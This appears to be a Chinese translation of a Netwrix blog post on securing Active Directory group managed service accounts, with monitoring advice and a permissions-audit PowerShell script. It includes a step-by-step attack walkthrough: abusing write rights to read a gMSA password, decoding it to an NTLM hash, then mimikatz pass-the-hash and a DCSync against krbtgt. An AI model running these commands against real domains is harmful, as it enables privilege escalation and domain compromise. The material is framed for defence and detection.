组托管服务帐户概览
传统做法是将普通用户帐户用作服务帐户,这会把密码管理的负担加到用户身上。结果是,帐户密码往往会多年保持不变——从而使其高度容易受到暴力破解攻击和滥用的影响。组托管服务帐户(gMSAs)提供了一种更安全的方式来运行自动化任务、服务和应用程序。
gMSA 在 Windows Server 2016 中引入,并且可以在 Windows Server 2012 及更高版本上使用。gMSA 密码完全由 Windows 处理:它们会被随机生成,并自动轮换。此外,由于服务帐户本身会“安装”在需要在运行时从中查询密码信息的服务器上,因此任何用户都不必知道密码。Active Directory 因此,与作为服务帐户使用的用户帐户相比,gMSA 更不容易被误用和遭到攻破。
组托管服务帐户安全
gMSA 是 Active Directory 中的一种特定对象类型:msDS-GroupManagedServiceAccount。这些对象具有与其密码及密码轮换相关的特殊属性。类似于 LAPS,你需要确保 gMSA 的属性仅对需要访问它们的 Active Directory 对象开放并加以锁定。
gMSA 属性和权限
gMSA 具有以下属性:
- msDS-ManagedPassword— 包含 gMSA 密码的 BLOB
- msDS-ManagedPasswordID— 用于生成当前 gMSA 密码的密钥 ID
- msDS-ManagedPasswordPreviousID— 用于生成上一份 gMSA 密码的密钥 ID
- msDS-GroupMSAMembership— 有权查询 gMSA 密码的对象列表
- msDS-ManagedPasswordInterval— 密码轮换的间隔(天)
由于密码信息存储在 msDS-ManagedPassword 属性中,您一定会想知道环境中谁能够查询密码。该信息在 msDS-GroupMSAMembership 属性中进行设置。
但是,这不只是该属性那么简单,因为还会涉及到 Active Directory 权限。如果由于某种原因,用户或对象被配置为通过 msDS-GroupMSAMembership 帐户具有查询密码的权限,那么他们仍然需要对 gMSA 的 msDS-ManagedPassword 属性具备“Read”权限。
这意味着,保护 gMSA 密码有两条途径:
- 确保只有必要的对象获得查询密码的权限,并且这些对象存在于 msDS-GroupMSAMembership 中。
- 确保只有需要访问的管理员用户以及安装了 gMSA 的计算机帐户才有权限读取该属性。此外,还要确保只有管理员具备修改 gMSA 及其属性的能力,以便任何人都无法将自己添加到 msDS-GroupMSAMembership 属性中。
理想情况下,你应该通过两条途径同时对 gMSA 进行加固,以阻止攻击者具备利用上述任一情景的可能性。下面我们将说明:gMSA 上权限或配置管理不当,可能会导致该账号被攻破,并且 权限提升 或横向移动。
滥用 gMSA 密码
滥用 gMSA 从概念上来说相对简单。首先,可以使用类似 Mimikatz 的工具获取其密码,或者由于 Active Directory 中存在不安全的配置而直接查询它。由于 gMSA 是服务账号,它们通常拥有相对较高的权限,因此接下来你往往就能够进行横向移动或权限提升。
精心挑选的相关内容:
让我们通过一个示例场景来说明。
1. 首先,我们通过诸如钓鱼(phishing)之类的技术来攻破普通的 Windows 用户账户“notadmin”。该账户在 Active Directory 中的权限很有限,但在我们已入侵到的那台机器上却是本地管理员。
2. 接下来,我们将尝试查明是否存在任何 gMSA。如果你有权限访问 Windows PowerShell cmdlet,就很容易做到。运行一个简单的脚本即可获取 Active Directory 中的所有托管服务账户:
Get-ADServiceAccount -Filter *
3. 对脚本做一些轻微的修改后,我们就可以确定谁有权限查询 gMSA 密码:
Get-ADServiceAccount -Filter * -Properties PrincipalsAllowedToRetrieveManagedPassword
正如我们所看到的,只有 Kevin Joyce 账户能够查询这些服务账户的密码:
4. 我们可以通过检查这些服务账户是否属于任何特权组来缩小我们要锁定的目标范围;然后再进一步深入查看其中某个对象上配置了哪些权限:
Get-ADServiceAccount -Filter * -Properties memberof
从这里的结果可以看到,gMSA 服务帐户是 Domain Admins 的成员,因此我们将尝试利用它。
5. 通过修改一篇文章中提供的脚本,该文章主题为 Microsoft LAPS,我们能够列出所有对象,这些对象对托管服务帐户具有权限,权限包括对特定 gMSA 属性的完全控制(Full Control)、写入所有属性(Write All Properties)或写入属性(Write Property)。下面是输出结果,脚本链接在文末。
6. 如你所见,notadmin 帐户对 gMSA 帐户具有完全控制(Full Control)权限。这使我们能够修改 msDS-GroupMSAMembership 属性,从而让我们检索托管服务帐户的密码:
Set-ADServiceAccount -Identity gmsa -PrincipalsAllowedToRetrieveManagedPassword notadmin
7. 既然我们现在确实能够查询密码了,那么我们看看可以用它做什么:
Get-ADServiceAccount -Identity gmsa -properties msds-ManagedPassword
$pwd = Get-ADServiceAccount -identity gMSA -Properties msds-ManagedPassword
8. 该属性中存储的值是一个 BLOB,其中包含密码的数据,而不是密码本身。因此,我们需要使用诸如 DSInternals 之类的工具对密码进行解码:
$pw = ConvertFrom-ADManagedPasswordBlob $pwd.’msds-managedpassword’
ConvertTo-NTHash $pw.securecurrentpassword
这样我们就能得到 SecureCurrentPassword 和 CurrentPassword。CurrentPassword 看起来毫无用处,但这是因为其中的所有字符都是 UTF-16。SecureCurrentPassword 可以转换为 NTLM 哈希,并用于 传递哈希(pass the hash)攻击,再配合 mimikatz 提升我们的权限。
9. 为了 传递哈希(pass the hash) 我们只需要运行 mimikatz 并使用这条命令:
sekurlsa::pth /user:gmsa /domain:sbpmlab.net /ntlm:a99afa608b79a3c539a969212c505ea9
10. 既然我们已经获得一个以隶属于 Domain Admins 的 gMSA 服务帐户身份运行的 shell,那么我们就可以随心所欲地入侵并破坏 Active Directory。我们可以采用的最快方法之一,但可能也是最“惹眼/最吵”的方式,就是执行 DCSync 攻击 并窃取 krbtgt 帐户的哈希:
lsadump::dcsync /user:krbtgt /domain:sbpmlab.net
gMSA 保护与监控
你可以使用一些策略来防止并检测 gMSA 的滥用。
权限
最明显、也可以说是最重要的防护措施之一,就是确保在你的组托管服务帐户(group managed service accounts)上设置了适当的权限。了解谁对这些对象拥有写入访问权限,对于保护它们至关重要;因为在理论上,只要有人能够添加自己的身份到那个控制谁可以查询密码的属性上,那么他就已经具备接管该帐户并滥用其权限的访问能力。
接下来就是要弄清楚:谁有能力查询这些帐户的密码,以及究竟是谁需要这种访问权限。实际上,应该能够获取 gMSA 密码的唯一帐户,就是安装了该 gMSA 的那台计算机帐户。
事件日志
在本机事件日志中有一个事件可以查找,它能帮助你识别是谁在查询 gMSA 帐户的密码。如果你为域启用“Audit directory service access”策略,并在你希望监控的 gMSA 上配置 SACL,那么当有人查询 msDS-ManagedPassword 属性时,你就可以生成事件日志:
启用此设置并创建新的 SACL 后,将生成包含事件 ID 4662 的事件日志;如下所示:
从中可以看到,日志记录了 ‘notadmin’ 帐户读取了 gMSA 帐户上的一个属性。被读取的属性是存储在 Active Directory 架构中的 GUID;但借助 ADSI 编辑,我们可以看到,高亮显示的 GUID 对应的是 msDS-ManagedPasssword 属性。
假设你可能具备某种形式的事件日志转发,或 SIEM 解决方案,那么这些日志对于确定是谁在访问这些属性将极其有价值。
Netwrix StealthDEFEND
另一个选项是类似 Netwrix StealthDEFEND 的工具。Netwrix StealthDEFEND 不依赖原生事件日志,并且可以开箱即用地检测 gMSA 密码访问以及高风险权限分配。例如,当 ‘notadmin’ 帐户查询密码时,上述场景将生成以下威胁:
此外,借助 Netwrix StealthDEFEND,您可以轻松构建一个播放本(playbook),用于在检测到 gMSA 滥用时触发执行。该播放本可以包含多个步骤,例如要求肇事者用户账户响应 MFA 请求、禁用该账户,或创建一条 ServiceNow 事件。
附录
gMSA 权限代码:
<#
Author: Kevin Joyce
Requirements: Active Directory PowerShell module, Domain Administrator privileges (to ensure the capability to get attribute GUIDs and view all permissions on all gMSA objects)
Description: Looks up permissions within Active Directory on a gMSA to determine access to modify the gMSA attribute (ms-ds-GroupMSAMembership).
Usage: populate the $target variable with the samaccountname of a gMSA.
To output the results to a text file run the following .gMSA_Permissions_Collection.ps1 > output.txt
#>
Import-Module ActiveDirectory
##Get the GUID of the extended attribute ms-ds-GroupMSAMembership from Schema
$schemaIDGUID = @{}
Get-ADObject -SearchBase (Get-ADRootDSE).schemaNamingContext -LDAPFilter '(name=ms-ds-GroupMSAMembership)' -Properties name, schemaIDGUID |
ForEach-Object {$schemaIDGUID.add([System.GUID]$_.schemaIDGUID,$_.name)}
<# **REPLACE DN VARIABLE BELOW**
Declare the samaccountname of the gMSA to search for#>
$target = 'gmsa'
##Get distinguished name of all gMSAs objects from the OU
$gMSAs = Get-ADServiceAccount -identity $target
<#Get objects that have specific permissions on the target(s):
Full Control(GenericAll)
Write all Properties (WriteProperty where ObjectType = 00000000-0000-0000-0000-000000000000
#>
Set-Location ad:
foreach ($gmsa in $gMSAs){
(Get-Acl $gmsa.distinguishedname).access |
Where-Object { (($_.AccessControlType -eq 'Allow') -and ($_.activedirectoryrights -in ('GenericAll') -and $_.inheritancetype -in ('All', 'None')) -or (($_.activedirectoryrights -like '*WriteProperty*') -and ($_.objecttype -eq '00000000-0000-0000-0000-000000000000')))} |
ft ([string]$gmsa.name),identityreference, activedirectoryrights, objecttype, isinherited -autosize
}
<#Get objects that have specific permissions on the target(s) and specifically the gMSA attribute:
WriteProperty
#>
Set-Location ad:
foreach ($gmsa in $gMSAs){
(Get-Acl $gmsa.distinguishedname).access |
Where-Object {(($_.AccessControlType -eq 'Allow') -and (($_.activedirectoryrights -like '*WriteProperty*') -and ($_.objecttype -in $schemaIDGUID.Keys)))} |
ft ([string]$gmsa.name),identityreference, activedirectoryrights, objecttype, isinherited -AutoSize
}
查看原始内容gMSA_Permissions_Collection.ps1 由 托管 GitHub
常见问题
gMSA 是什么?
与托管服务帐户(Managed Service Accounts,MSA)类似,组托管服务帐户(Group Managed Service Accounts,gMSAs)是用于帮助保护服务和进行访问管理的托管域帐户。gMSA 功能由域控制器(DC)提供自动密码管理,简化服务主体名称(Service Principal Name,SPN)管理,并支持将管理委派给其他管理员,从而 提升 Active Directory 安全性并将具有特权访问的帐户数量降到最低。
MSA 和 gMSA 有什么区别?
与 MSA 不同,gMSA 可以与多台计算机关联。
如何查找组托管服务帐户?
要获取域控制器上的 gMSA 列表,请打开 Server Manager > Tools > Active Directory Users and Computers > Managed Service Accounts。
gMSA 可以成为 Domain Admin 吗?
可以。gMSA 帐户可以成为 Domain Admins 的成员,但这种做法可能会对信息安全造成危险。
如何创建 gMSA?
使用 New-ADServiceAccount cmdlet 创建组托管服务帐户(Group managed service accounts)。
分享到
了解更多
关于作者
Kevin Joyce
产品管理总监
Netwrix 产品管理总监。Kevin 对网络安全充满热情,尤其致力于理解攻击者为利用组织环境所采用的策略与技术。凭借八年的产品管理经验,并专注于 Active Directory 和 Windows 安全,他将这种热情投入到帮助构建解决方案中,助力组织保护其身份、基础设施和数据。